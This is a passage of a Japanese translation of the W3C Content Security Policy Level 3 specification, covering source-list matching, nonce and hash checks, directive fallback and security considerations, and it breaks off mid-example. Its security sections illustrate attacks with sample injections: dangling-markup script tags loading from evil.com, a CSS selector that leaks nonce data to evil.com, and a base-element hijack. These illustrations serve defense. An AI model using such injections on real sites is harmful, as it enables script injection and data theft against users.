    2. § 6.7.2.3 nonceはソースリストと一致するか?request暗号学的nonceメタデータ、この指令ので実行し、結果が"Matches"なら"Allowed"を返す。

    3. § 6.7.2.4 インテグリティメタデータはソースリストと一致するか?requestインテグリティメタデータ、この指令ので実行し、結果が"Matches"なら"Allowed"を返す。

    4. directiveに"'strict-dynamic'"キーワードソース(keyword-source)とASCII大文字・小文字を区別しない一致となるsource expressionが含まれていれば:

      1. requestparser metadata"parser-inserted"なら"Blocked"を返す。

        そうでなければ"Allowed"を返す。

        注: "'strict-dynamic'"の詳細は§ 8.2 "'strict-dynamic'"の利用参照。

    5. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequestdirectivepolicyで実行した結果が"Does Not Match"なら"Blocked"を返す。

  2. "Allowed"を返す。

6.7.2. URL照合

6.7.2.1. requestpolicyに違反しているか?

request requestpolicy policyが与えられた場合、このアルゴリズムはリクエストがポリシーに違反していれば違反した指令を返し、違反していなければ"Does Not Violate"を返す。

  1. requestinitiatorが"prefetch"なら、§ 6.7.2.2 リソースヒントリクエストはポリシーに違反しているか?requestpolicyで実行した結果を返す。

  2. violatesを"Does Not Violate"に設定。

  3. policy内の各 directiveについて:

    1. resultdirective事前リクエストチェックrequestpolicyで実行した結果とする。

    2. resultが"Blocked"なら、violatesdirectiveに設定。

  4. violatesを返す。

6.7.2.2. リソースヒントrequestpolicyに違反しているか?

request requestpolicy policyが与えられた場合、このアルゴリズムはリソースヒントリクエストが全てのポリシーに違反していればデフォルト指令を返し、そうでなければ"Does Not Violate"を返す。

  1. defaultDirectivepolicy内でnameが"default-src"である最初の指令とする。

  2. defaultDirectiveが存在しない場合、"Does Not Violate"を返す。

  3. policy内の各 directiveについて:

    1. directivenameが下記のいずれでもなければ:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      なら次へ。

    2. 保証:directiveソースリストである。

    3. result§ 6.7.2.5 リクエストはソースリストと一致するか?requestdirectivepolicyで実行した結果とする。

    4. resultが"Allowed"なら"Does Not Violate"を返す。

  4. defaultDirectiveを返す。

6.7.2.3. noncesource listと一致するか?

request暗号学的nonceメタデータ noncesource list source listが与えられた場合、このアルゴリズムはnonceがリスト内の1つ以上のソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:

  1. 保証:source listはnullではない。

  2. nonceが空文字列なら"Does Not Match"を返す。

  3. source list内の各 expressionについて:

    1. expressionnonce-source文法に一致し、nonceexpressionbase64-value部分と一致すれば"Matches"を返す。

  4. "Does Not Match"を返す。

6.7.2.4. integrity metadatasource listと一致するか?

requestインテグリティメタデータ integrity metadatasource list source listが与えられた場合、このアルゴリズムはインテグリティメタデータがリスト内の1つ以上のソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:

  1. 保証:source listはnullではない。

  2. integrity expressionssource list内でhash-source文法に一致するsource expressionの集合とする。

  3. integrity expressionsが空なら"Does Not Match"を返す。

  4. integrity sourcesメタデータのパースintegrity metadataで実行した結果とする。[SRI]

  5. integrity sourcesが"no metadata"または空集合なら"Does Not Match"を返す。

  6. integrity sourcesの各 sourceについて:

    1. integrity expressionsに、sourcehash-algorithmとASCII大文字・小文字を区別しない一致を持つsource expression、およびsourcebase64-valuebase64-valueが一致する式が含まれていなければ"Does Not Match"を返す。

  7. "Matches"を返す。

注: ここではintegrity metadatasource list内のhash-sourceソースの非空部分集合かどうかだけ検証します。リソースが一致しなかった場合のブロックはブラウザのSubresource Integrity[SRI]に依存します。

6.7.2.5. requestsource listと一致するか?

request requestsource list source listpolicy policyが与えられた場合、このアルゴリズムは§ 6.7.2.7 URLはオリジンおよびリダイレクトカウント付きでソースリストと一致するか?requestcurrent urlsource listpolicyself-originrequestredirect countで実行した結果を返す。

注: これは一般に指令事前リクエストチェックアルゴリズムで、与えられたrequestが妥当か検証するために使われます。

6.7.2.6. responserequestに対してsource listと一致するか?

response responserequest requestsource list source listpolicy policyが与えられた場合、このアルゴリズムは§ 6.7.2.7 URLはオリジンおよびリダイレクトカウント付きでソースリストと一致するか?responseurlsource listpolicyself-originrequestredirect countで実行した結果を返す。

注: これは一般に指令事後リクエストチェックアルゴリズムで、与えられたresponseが妥当か検証するために使われます。

6.7.2.7. urlsource listoriginredirect countで一致するか?

URL urlsource list source listorigin origin、数値redirect countが与えられた場合、このアルゴリズムはURLがsource list内のいずれかのソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:

  1. 保証:source listはnullではない。

  2. source listなら"Does Not Match"を返す。

  3. source listサイズが1で、source list[0]が文字列"'none'"とASCII大文字・小文字区別しない一致であれば、"Does Not Match"を返す。

    注: 空のソースリスト(値なしの指令:script-srcscript-src host1ではなく)は、'none'値のみを含むソースリストと同等で、いかなるURLとも一致しません。

    注: 'none'キーワードは他のソース式がある場合は効力を持ちません。つまり、リスト「'none'」はURLと一致しませんが、「'none', https://example.com」はhttps://example.com/と一致します。

  4. source list内の各 expressionについて:

    1. § 6.7.2.8 URLはexpressionとorigin、redirect countで一致するか?urlexpressionoriginredirect countで実行し、"Matches"なら"Matches"を返す。

  5. "Does Not Match"を返す。

6.7.2.8. urlexpressionoriginredirect countで一致するか?

URL urlsource expression expressionorigin origin、数値redirect countが与えられた場合、このアルゴリズムはurlexpressionと一致すれば"Matches"、そうでなければ"Does Not Match"を返す。

注: originexpressionを解決する基準となるリソースのoriginです。たとえば"'self'"はこの文脈により意味が異なります。

  1. expressionが文字列"*"なら、以下のいずれかの条件を満たせば"Matches"を返す:

    1. urlschemeHTTP(S) schemeである。

    2. urlschemeoriginschemeと同じである。

    注: このロジックにより、非HTTP(S) schemeのリソースを許可するには、明示的に指定する必要がある(例:default-src * data: custom-scheme-1: custom-scheme-2:)か、保護対象リソースが同じschemeからロードされていなければならない。

  2. expressionscheme-sourceまたはhost-source文法に一致する場合:

    1. expressionscheme-partを持ち、かつurlscheme-part一致しない場合、"Does Not Match"を返す。

    2. expressionscheme-source文法に一致する場合、"Matches"を返す。

  3. expressionhost-source文法に一致する場合:

    1. urlhostがnullなら"Does Not Match"を返す。

    2. expressionscheme-partを持たず、originschemeurlのschemeがscheme-part一致しなければ"Does Not Match"を返す。

      注: 上記scheme-part同様、スキーム無しhost-source式は安全なスキームへのアップグレードを許容します。

    3. expressionhost-parturlhosthost-part一致しなければ"Does Not Match"を返す。

    4. port-partexpressionport-part(あれば)とし、なければnull。

    5. port-parturlport-part一致しなければ"Does Not Match"を返す。

    6. expressionが非空のpath-partを含み、かつredirect countが0なら:

      1. pathurlURLパス直列化を実行した結果とする。

      2. expressionpath-partpathpath-part一致しなければ"Does Not Match"を返す。

    7. "Matches"を返す。

  4. expressionが"'self'"とASCII大文字・小文字区別しない一致なら、以下のいずれかを満たせば"Matches"を返す:

    1. originurloriginと同じである。

    2. originhosturlhostと同じであり、originporturlportが同じ、またはそれぞれのデフォルトポートであり、かつ以下のいずれかを満たす:

      1. urlschemeが"https"または"wss"である。

      2. originschemeが"http"、かつurlschemeが"http"または"ws"である。

    注: scheme-partロジック同様、"'self'"の照合アルゴリズムは安全な場合のみ安全なスキームへのアップグレードを許容します。アップグレードはスキームのデフォルトポート、または保護対象リソースのオリジンと一致するポートの場合のみ許容されます。

  5. "Does Not Match"を返す。

6.7.2.9. scheme-part一致

ASCII文字列scheme-part一致は、もう一方のASCII文字列を含むCSPソース式が、後者をスキームとして持つURLと一致する可能性がある場合に成立します。例えば、"http"は"scheme-part一致"で"https"と一致します。

注: 照合関係は非対称です。たとえば、https:https://example.com/http://example.com/と一致しません。常に明示的な非安全式から安全なアップグレードのみ許容されます。script-src http:script-src http: https:と同等、script-src http://example.comscript-src http://example.com https://example.comconnect-src ws:connect-src ws: wss:とみなされます。

より形式的には、2つのASCII文字列ABが"scheme-part一致"であるとは、以下のアルゴリズムが"Matches"を返す場合です:

  1. 以下のいずれかであれば"Matches"を返す:

    1. ABとASCII大文字・小文字区別しない一致。

    2. Aが"http"とASCII大文字・小文字区別しない一致、かつBが"https"とASCII大文字・小文字区別しない一致。

    3. Aが"ws"とASCII大文字・小文字区別しない一致、かつBが"wss"、"http"、"https"のいずれかとASCII大文字・小文字区別しない一致。

    4. Aが"wss"とASCII大文字・小文字区別しない一致、かつBが"https"とASCII大文字・小文字区別しない一致。

  2. "Does Not Match"を返す。

6.7.2.10. host-part一致

ASCII文字列host-part一致は、最初の値をhost-partとして含むCSPソース式が、後者をhostとして持つURLと一致する可能性がある場合に成立します。例えば、"www.example.com"は"www.example.com"とhost-part一致します。

より形式的には、ASCII文字列patternhosthostが"host-part一致"であるとは、以下のアルゴリズムが"Matches"を返す場合です:

注: 照合関係は非対称です。つまり、patternhostと一致しても、hostpatternと一致するとは限りません。例えば、*.example.comwww.example.comとhost-part一致しますが、www.example.com*.example.comとhost-part一致しません。

注: 将来のバージョンでは、リテラルIPv6やIPv4アドレスの許可が検討される可能性がありますが、命名されたホストに比べてIPアドレスのセキュリティ特性が弱いため、可能な限り命名ホストの利用が推奨されます。

  1. hostdomainでなければ"Does Not Match"を返す。

  2. patternが"*"なら"Matches"を返す。

  3. patternが"*."で始まる場合:

    1. remainingpatternから先頭のU+002A (*)を除去し、ASCII小文字化したものとする。

    2. hostをASCII小文字化したものがremainingで終了していれば"Matches"を返す。

    3. "Does Not Match"を返す。

  4. patternhostとASCII大文字・小文字区別しない一致でなければ"Does Not Match"を返す。

  5. "Matches"を返す。

6.7.2.11. port-part一致

ASCII文字列またはnullinputport-part一致は、最初の値をport-partとして含むCSPソース式が、後者のURLportおよびschemeと一致する可能性がある場合に成立します。例:"80"はhttp://example.comとport-part一致します。

  1. 保証:inputはnull、"*",または1つ以上のASCII数字

  2. inputが"*"と等しければ"Matches"を返す。

  3. normalizedInputinputがnullならnull、そうでなければdecimal数値として解釈したものとする。

  4. normalizedInputurlportと等しければ"Matches"を返す。

  5. urlportがnullなら:

    1. defaultPorturlschemeのデフォルトポートとする。

    2. normalizedInputdefaultPortと等しければ"Matches"を返す。

  6. "Does Not Match"を返す。

6.7.2.12. path-part一致

ASCII文字列path Apath-part一致は、最初の値をpath-partとして含むCSPソース式が、後者をpathとして持つURLと一致する可能性がある場合に成立します。例:"/subdirectory/"は"/subdirectory/file"とpath-part一致します。

注: 照合関係は非対称です。つまり、path Apath Bと一致しても、path Bpath Aと一致するとは限りません。

  1. path Aが空文字なら"Matches"を返す。

  2. path Aが1文字でU+002F SOLIDUS文字(/)であり、path Bが空文字なら"Matches"を返す。

  3. path Aの最後の文字がU+002F SOLIDUS文字(/)ならexact matchfalse、そうでなければtrueとする。

  4. path list Apath list BをそれぞれU+002F SOLIDUS文字(/)で厳密分割した結果とする。

  5. path list Aの要素数がpath list Bより多ければ"Does Not Match"を返す。

  6. exact matchtrueで、path list Aの要素数がpath list Bの要素数と一致しなければ"Does Not Match"を返す。

  7. exact matchfalseの場合:

    1. 保証:path list Aの最後の要素は空文字である。

    2. path list Aの最後の要素を削除する。

  8. path list Aの各 piece Aについて:

    1. piece Bをpath list Bの次の要素とする。

    2. decoded piece Apiece Aパーセントデコード結果とする。

    3. decoded piece Bpiece Bパーセントデコード結果とする。

    4. decoded piece Adecoded piece Bが一致しなければ"Does Not Match"を返す。

  9. "Matches"を返す。

6.7.3. 要素照合アルゴリズム

6.7.3.1. elementはnonce可能か?

Element elementが与えられた場合、このアルゴリズムはnonce-source式が要素に一致可能なら(§ 7.2 Nonceハイジャック参照)、"Nonceable"を返し、そうでなければ"Not Nonceable"を返します。

  1. elementが"nonce"という属性を持っていなければ"Not Nonceable"を返す。

  2. elementscript要素の場合、全てのattributeについてelement属性リストを調べる:

    1. attributeの名前に"<script"または"<style"がASCII大文字・小文字区別しない一致で含まれていれば"Not Nonceable"を返す。

    2. attributeの値に"<script"または"<style"がASCII大文字・小文字区別しない一致で含まれていれば"Not Nonceable"を返す。

  3. elementduplicate-attributeまたはparse errorをトークン化時に持っていれば"Not Nonceable"を返す。

    HTML側にこのエラー記録用フックが必要。[whatwg/html Issue #3257]

  4. "Nonceable"を返す。

この処理は、既存要素からnonceを盗んでインジェクトスクリプトをロードするdangling markup攻撃リスクを軽減するためのものです。ただし属性・値全てを走査するため負荷が高く、nonceがある場合のscript要素のみでチェックすることで影響を最小化していますが、影響が分かるまで"at risk"とすべきかもしれません。[w3c/webappsec-csp Issue #98]

6.7.3.2. ソースリストはtypeの全インライン挙動を許可するか?

source list 全インライン挙動を許可する とは、keyword-source'unsafe-inline'を含み、以下アルゴリズムでその式が上書きされない場合です:

source list listと文字列typeが与えられた場合、下記アルゴリズムはtypeの全インラインコンテンツが許可されるなら"Allows"、そうでなければ"Does Not Allow"を返します。

  1. allow all inlinefalseに設定。

  2. list内の各expressionについて:

    1. expressionnonce-sourceまたはhash-source文法に一致する場合、"Does Not Allow"を返す。

    2. typeが"script"、"script attribute"、"navigation"の場合、expressionkeyword-source "'strict-dynamic'"に一致する場合、"Does Not Allow"を返す。

      注: 'strict-dynamic'はscriptのみに適用され、他リソース型には適用されません。詳細は§ 8.2 "'strict-dynamic'"の利用参照。

    3. expressionASCII大文字・小文字区別しない一致keyword-source "'unsafe-inline'"ならallow all inlinetrueに設定。

  3. allow all inlinetrueなら"Allows"、そうでなければ"Does Not Allow"を返す。

ソースリスト全インライン挙動を許可する場合:
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

nonceやhashの存在または'unsafe-inline'の欠如により、ソースリスト全インライン挙動を許可しない

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

typeが'script'または'script attribute'のとき'strict-dynamic'があるため全インライン挙動を許可しないが、それ以外では全インライン挙動を許可する

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. elementtypesourceでソースリストと一致するか?

Element elementsource list list、文字列type、文字列sourceが与えられた場合、このアルゴリズムは"Matches"または"Does Not Match"を返します。

注: ドキュメントのエンコーディングに関わらず、sourceはハッシュアルゴリズム適用前にUTF-8へ変換されます。

  1. § 6.7.3.2 ソースリストはtypeの全インライン挙動を許可するか?listtypeで"Allows"なら"Matches"を返す。

  2. typeが"script"または"style"で、§ 6.7.3.1 要素はnonce可能か?elementで"Nonceable"を返した場合:

    1. list内の各expressionについて:

      1. expressionnonce-source文法に一致し、 elementnonce属性を持ち、その値がexpressionbase64-value部分と一致すれば"Matches"を返す。

    注: nonceはインラインscript・インラインstyleにのみ適用され、どちらの要素の属性やjavascript:ナビゲーションには適用されません。

  3. unsafe-hashes flagfalseに設定。

  4. list内の各expressionについて:

    1. expressionkeyword-source "'unsafe-hashes'"とASCII大文字・小文字区別しない一致なら、unsafe-hashes flagtrueに設定し、ループを抜ける。

  5. typeが"script"または"style"、またはunsafe-hashes flagtrueの場合:

    1. sourcesourceJavaScript文字列変換を適用し、さらにUTF-8エンコードした結果に設定。

    2. list内の各expressionについて:

      1. expressionhash-source文法に一致する場合:

        1. algorithmをnullに設定。

        2. expressionhash-algorithm部分が"sha256"とASCII大文字・小文字区別しない一致なら、algorithmSHA-256に設定。

        3. expressionhash-algorithm部分が"sha384"とASCII大文字・小文字区別しない一致なら、algorithmSHA-384に設定。

        4. expressionhash-algorithm部分が"sha512"とASCII大文字・小文字区別しない一致なら、algorithmSHA-512に設定。

        5. algorithmがnullでなければ:

          1. actualを、sourcealgorithmを適用した結果をbase64エンコードした値とする。

          2. expectedを、expressionbase64-value部分から全ての'-'を'+'に、全ての'_'を'/'に置換した値とする。

            注: この置換でbase64urlエンコードbase64エンコードへ正規化する。

          3. actualexpected一致すれば"Matches"を返す。

    注: ハッシュはインラインscript・インラインstyleに適用されます。'unsafe-hashes'ソース式があれば、イベントハンドラ・style属性・javascript:ナビゲーションにも適用されます。

動的挿入インラインスクリプトの'strict-dynamic'扱いを検討すべき。[w3c/webappsec-csp Issue #426]

  1. "Does Not Match"を返す。

6.8. 指令アルゴリズム

6.8.1. request用有効指令取得

fetch指令は、requestの特定のdestinationを制御します。 request requestが与えられた場合、次のアルゴリズムはnullまたはリクエストの有効指令名を返します:

  1. requestinitiatorが"prefetch"または"prerender"なら、 default-srcを返す。

  2. requestdestinationにより以下の手順を実行:

    空文字列
    1. connect-srcを返す。

    "manifest"
    1. manifest-srcを返す。

    "object"
    "embed"
    1. object-srcを返す。

    "frame"
    "iframe"
    1. frame-srcを返す。

    "audio"
    "track"
    "video"
    1. media-srcを返す。

    "font"
    1. font-srcを返す。

    "image"
    1. img-srcを返す。

    "style"
    1. style-src-elemを返す。

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"
    1. script-src-elemを返す。

    "serviceworker"
    "sharedworker"
    "worker"
    1. worker-srcを返す。

    "json"
    "webidentity"
    1. connect-srcを返す。

    "report"
    1. nullを返す。

  3. connect-srcを返す。

注: アルゴリズムはconnect-srcをデフォルトフォールバックとして返します。これは新しいfetch destinationが追加され、他カテゴリに明示的に該当しない場合を想定しています。

6.8.2. インラインチェック用有効指令取得

文字列typeが与えられた場合、このアルゴリズムは有効指令名を返します。

注: 有効指令はリクエストのみ定義されますが、このアルゴリズムではインラインチェックに関連する最も適切な指令として扱います。

  1. typeで分岐:

    "script"
    "navigation"
    1. script-src-elemを返す。

    "script attribute"
    1. script-src-attrを返す。

    "style"
    1. style-src-elemを返す。

    "style attribute"
    1. style-src-attrを返す。

  2. nullを返す。

6.8.3. fetch指令フォールバックリスト取得

特定の指令のフォールバックordered setを返します。結果は関連性が高い順に並び、有効指令自体も含まれます。

文字列directive nameが与えられた場合:

  1. directive nameで分岐:

    "script-src-elem"
    1. << "script-src-elem", "script-src", "default-src" >>を返す。

    "script-src-attr"
    1. << "script-src-attr", "script-src", "default-src" >>を返す。

    "style-src-elem"
    1. << "style-src-elem", "style-src", "default-src" >>を返す。

    "style-src-attr"
    1. << "style-src-attr", "style-src", "default-src" >>を返す。

    "worker-src"
    1. << "worker-src", "child-src", "script-src", "default-src" >>を返す。

    "connect-src"
    1. << "connect-src", "default-src" >>を返す。

    "manifest-src"
    1. << "manifest-src", "default-src" >>を返す。

    "object-src"
    1. << "object-src", "default-src" >>を返す。

    "frame-src"
    1. << "frame-src", "child-src", "default-src" >>を返す。

    "media-src"
    1. << "media-src", "default-src" >>を返す。

    "font-src"
    1. << "font-src", "default-src" >>を返す。

    "img-src"
    1. << "img-src", "default-src" >>を返す。

  2. << >>を返す。

6.8.4. fetch指令を実行すべきか

このアルゴリズムはfetch指令が実行されるべきか、より適した別指令に委譲すべきかを決定します。 例えばeffective directive nameworker-src(ワーカーリクエストのチェック)なら、worker-srcscript-src指令が存在する場合はdefault-src指令は実行すべきではありません。

文字列effective directive name、文字列directive namepolicy policyが与えられた場合:

  1. directive fallback list§ 6.8.3 fetch指令フォールバックリスト取得effective directive nameに対して実行した結果とする。

  2. directive fallback listの各fallback directiveについて:

    1. directive namefallback directiveと一致すれば"Yes"を返す。

    2. policyfallback directive名の指令を含んでいれば"No"を返す。

  3. "No"を返す。

7. セキュリティとプライバシーに関する考慮事項

7.1. Nonceの再利用

Nonceは、その指令内の他の制限を上書きします。そのため、推測困難な値であることが非常に重要です。そうでなければ、リソースのポリシーを攻撃者が簡単に迂回できてしまいます。

サーバーがnonce-source式をポリシーの一部として送信する場合、サーバーはポリシー送信ごとに一意な値を生成しなければなりません(MUST)。生成値はエンコード前で少なくとも128ビットであることが推奨され(SHOULD)、暗号学的に安全な乱数生成器で生成されるべきです(SHOULD)。これにより値が攻撃者に予測されにくくなります。

注: インラインスクリプトやスタイルを許可するためにnonceを使うのは、nonceを使わないよりも安全性が低いです。nonceは指令内の制限を上書きするため、攻撃者がnonceにアクセスできれば好きなスクリプトをいつでも実行できてしまいます。ただし、古いコードにCSPを重ねる場合、nonceは'unsafe-inline'より大幅な安全性向上をもたらします。'unsafe-inline'の使用を検討する際は、nonce(またはハッシュ)の利用を推奨します。

7.2. Nonceハイジャック

7.2.1. ダングリングマークアップ攻撃

[FILEDESCRIPTOR-2015]で議論されているようなダングリングマークアップ攻撃は、ページの正当なnonceをインジェクションに流用するために使われます。たとえば、次のようなインジェクションポイントがscript要素の前にある場合:

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

攻撃者が"<script src='https://evil.com/evil.js' "をインジェクトすると、ブラウザは次のように受信します:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

その結果、script要素は、悪意あるsrc属性、</p>属性、"<script"属性、nonce属性、重複したsrc属性(パーサにより破棄)を持つことになります。

§ 6.7.3.1 要素はnonce可能か?アルゴリズムは、この攻撃を軽減するためにscriptstyle要素の属性名・値に"<script"や"<style"が含まれていないかを調べます。

ユーザーエージェントはこのアルゴリズム実装時に、重複属性を無視しないよう特に注意しなければなりません。要素に重複属性があれば、最初以外は通常無視されますが、§ 6.7.3.1 要素はnonce可能か?アルゴリズムでは全て(重複も含め)チェックする必要があります。

現状HTML仕様のパースアルゴリズムは、この情報を§ 6.7.3.1 要素はnonce可能か?アルゴリズム実行前に削除してしまうため、実際に重複属性を検出できません。[whatwg/html Issue #3257]

次の例のページ:

Hello, [INJECTION POINT]
<script nonce=abc src=/good.js></script>

次のインジェクト文字列は、重複属性を使って§ 6.7.3.1 要素はnonce可能か?チェックを回避しようとします:

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. content属性経由のNonce流出

CSPへの攻撃の一部は、様々な手段でnonceデータをcontent属性から抜き出す能力に依存します。CSSセレクタは最良の例です:prefix/postfixテキスト照合セレクタを巧妙に使うことで、値を攻撃者のサーバーに送信し再利用できます。例:

script[nonce=a] { background: url("https://evil.com/nonce?a");}

nonceセクションでは、これらの攻撃を軽減するため、nonceを要素のcontent属性から隠し、内部スロットに移動する方法について説明しています。これにより、nonce値はスクリプトには公開されますが、他の非スクリプトチャネルには公開されません。

7.3. Nonceリターゲティング

Nonceはhost-source式を迂回し、任意のオリジンからコードロードを可能にします。これは多くの場合問題ありませんが、攻撃者がbase要素を挿入できる場合、安全なページも相対URL解決時に乗っ取られます。つまり、https://example.com/上で次のコードはhttps://example.com/good.jsをロードします:

<script nonce=abc src=/good.js></script>

しかし、次のようにするとhttps://evil.com/good.jsをロードします:

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

このリスクを軽減するには、全ページで明示的なbase要素を設定するか、攻撃者がbase要素を挿入できないよう、ページポリシーにbase-uri指令(例:base-uri 'none')を定義しましょう。

7.4. CSSパース

style-src指令は、保護対象リソースがスタイルをロードできる場所を制限します。しかし、ユーザーエージェントが緩いCSSパースアルゴリズムを使っている場合、攻撃者が信頼できそうなオリジンで悪意ある「スタイルシート」を受理させる可能性があります。

これらの攻撃はChris Evansが2009年に記述したCSSクロスオリジンデータ漏洩攻撃[CSS-ABUSE]に類似しています。ユーザーエージェントは、スタイルシートのMIMEタイプが不正な場合により厳格なCSSパースルールを適用することで、両方の攻撃に同じメカニズムで防御すべきです(SHOULD)。

7.5. 違反レポート

本書の違反レポート機構は、悪意のあるウェブサイトが違反レポートを使って他サーバーの挙動を探るリスクを軽減するよう設計されています。例えば、悪意あるサイトが画像ソースとしてhttps://example.comを許可している場合、そのサイトがhttps://example.com/loginを画像として読み込むと、example.comサーバーがidentity provider(例:identityprovider.example.net)へリダイレクトした場合CSPがリクエストをブロックします。違反レポートにブロックされたURL全体が含まれていた場合、リダイレクト先のURLに含まれるセッションIDやユーザーIDなどの機微情報が漏れる可能性があります。このため、ユーザーエージェントは元のリクエストURLのみ(リダイレクト先ではなく)をレポートに含めます。

また、違反レポートは攻撃者が制御可能なデータとみなすべきです。ダッシュボード等で違反レポートを収集・表示する場合は、内容を適切にエスケープしてレンダリングしてください(CSPの利用も推奨)。特に違反レポートの"script-sample"プロパティやsampleプロパティ、SecurityPolicyViolationEventは完全に攻撃者制御文字列です。

7.6. パスとリダイレクト

Egor Homakovの Using Content-Security-Policy for Evil で議論されているように、クロスオリジンでパス情報が漏れるのを防ぐため、照合アルゴリズムはリソースがリダイレクトの結果である場合、ソース式のパス部分を無視します。例えば、ポリシーimg-src example.com example.org/pathが有効なページの場合:

この制限により、リダイレクトが絡む場合ポリシーの粒度は下がりますが、この種の情報漏洩を防ぐための必要な妥協です。

より詳細な議論は "Remove paths from CSP?" のpublic-webappsec@w3.orgスレッド参照。

7.7. 安全なアップグレード

Yan Zhuの Snifflyのような履歴スキャン攻撃の一種を防ぐため、CSPはscript-src http://example.comのようなポリシーでページが不安全URLに固定されることを許可しません。§ 6.7.2.9 scheme-part一致で説明されている通り、ソース式のscheme部分は常に安全なバリアントへのアップグレードを許容します。

7.8. CSPの継承によるバイパス防止

ローカルスキームからロードされるドキュメントは、元ドキュメントのポリシーのコピーを継承します。これは、ページがiframe埋め込みや新ウィンドウで完全に支配可能なコンテンツ(srcdocドキュメント、blob:data:URL、about:blankdocument.write()等)を介してポリシーをバイパスできないようにするためです。

これがなければ、ページはunsafe-inlineなしでも、srcdociframeを埋め込むだけでインラインスクリプトを実行できてしまいます。
<iframe srcdoc="<script>alert(1);</script>"></iframe>

ここで新しくCSPリストのコピーを作成するため、新しいDocumentCSPリストは作成時点のポリシーのスナップショットとなります。新しいDocumentCSPリストを変更しても、元のDocumentのCSPリストには影響しません(逆も同様)。

下記例では、iframe内の画像はiframeのmetaタグのポリシーでブロックされロードされません。iframe外の画像は(メインページ側ポリシーがブロックしない限り)ロードされます。iframe内に挿入されたポリシーは外側には影響しません。
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. 著作に関する考慮事項

8.1. 複数ポリシーの効果

このセクションは規範的ではありません。

上記セクションでは、複数ポリシーが存在する場合、それぞれがタイプに応じて強制または報告されなければならないと述べています。実際の動作例を挙げることで、これが実際どう機能すべきか明確にします。たとえば、XMLHttpRequestの挙動は、サイトが下記のようなHTTPヘッダーを送信した場合、分かりにくいかもしれません:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

example.comへの接続は許可されるか?短い答えは「許可されない」です。両方のポリシーを強制する場合、接続は両方のポリシーを満たさなければなりません。2つ目のポリシーは接続を許可しますが、1つ目のポリシーがconnect-src 'none'を含むため、強制されて接続はブロックされます。つまり、強制するポリシーが増えるほど、保護されるリソースの能力はさらに制限されます。

さらに説明すると、このページのscriptタグを考えてみます。1つ目のポリシーはdefault-src指令で'self'http://example.comhttp://example.netに制限します。2つ目はhttp://example.com/のみ許可します。scriptは両方のポリシーを満たした場合のみロードされ、この場合両方が許可するオリジンはhttp://example.comだけです。

8.2. "'strict-dynamic'"の利用

このセクションは規範的ではありません。

ホストやパスベースのポリシーは、特にCDNのような広範なオリジンでは正しく設定するのが難しいです。 Cure53のH5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] の解決例は、 こうしたポリシーが生み出すバイパス例の好例です。CSPは個別リソースの網羅的宣言でこれらを防げますが、リストは脆弱かつ実装・運用が困難です。

'strict-dynamic'ソース式は、直接ロードするスクリプトに高い信頼があるが、あらかじめリソースリストを適切に用意できない既存アプリケーション向けに、CSPをより簡単に導入することを目指します。

script-srcまたはdefault-src指令に含まれる場合、主に2つの効果があります:

  1. host-sourcescheme-source式、および"'unsafe-inline'"、"'self' keyword-sourceは、スクリプトロード時に無視されます。

    hash-sourcenonce-source式は有効です。

  2. "parser-inserted"でないscript要素によるスクリプトリクエストは許可されます。

1つ目の変化により、"'strict-dynamic'"を後方互換的に導入できます。例:'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'はCSP1対応ブラウザでは'unsafe-inline' https:、CSP2対応ではhttps: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'、CSP3対応では'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'として動作します。

2つ目の効果により、nonceやハッシュで許可されたスクリプトが依存関係を明示的にポリシーに追加せずに読み込めます。

例えばMegaCorp, Inc.が次のポリシーを導入したとします:
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

このポリシー下で以下HTMLが配信された場合:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

https://cdn.example.com/script.jsへのリクエストはnonce属性が一致するためブロックされません。

script.jsに以下のコードがある場合:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

dependency.jsはロードされます。createElement()で作られたscript要素はparser-insertedではないためです。

一方、sadness.jsはロードされませんdocument.write()parser-insertedscript要素を生成するためです。

注: 'strict-dynamic'では、実行時に作成されたスクリプトも実行可能になります。もしスクリプト位置が攻撃者に制御され得る場合、ポリシーは任意スクリプトのロードを許可します。'strict-dynamic'利用時は、非parser-inserted APIの利用箇所を監査し、信頼できないデータで呼び出されないよう注意すべきです。これはランタイムでスクリプト位置を決定するアプリ・フレームワークも含みます。

8.3. "'unsafe-hashes'"の利用

このセクションは規範的ではありません。

レガシーサイトや依存関係が古いサイトは、イベントハンドラを完全に外部化するのが困難な場合があります。これらのサイトは'unsafe-inline'で許可できますが、リスクが高く(nonceやハッシュと併用不可)です。

'unsafe-hashes'ソース式は、このような状況でCSPの導入を簡単かつ安全にするため、ハッシュで特定ハンドラを有効化できるようにします。

MegaCorp, Inc.は次のHTMLをすぐには排除できません:
<button id="action" onclick="doSubmit()">

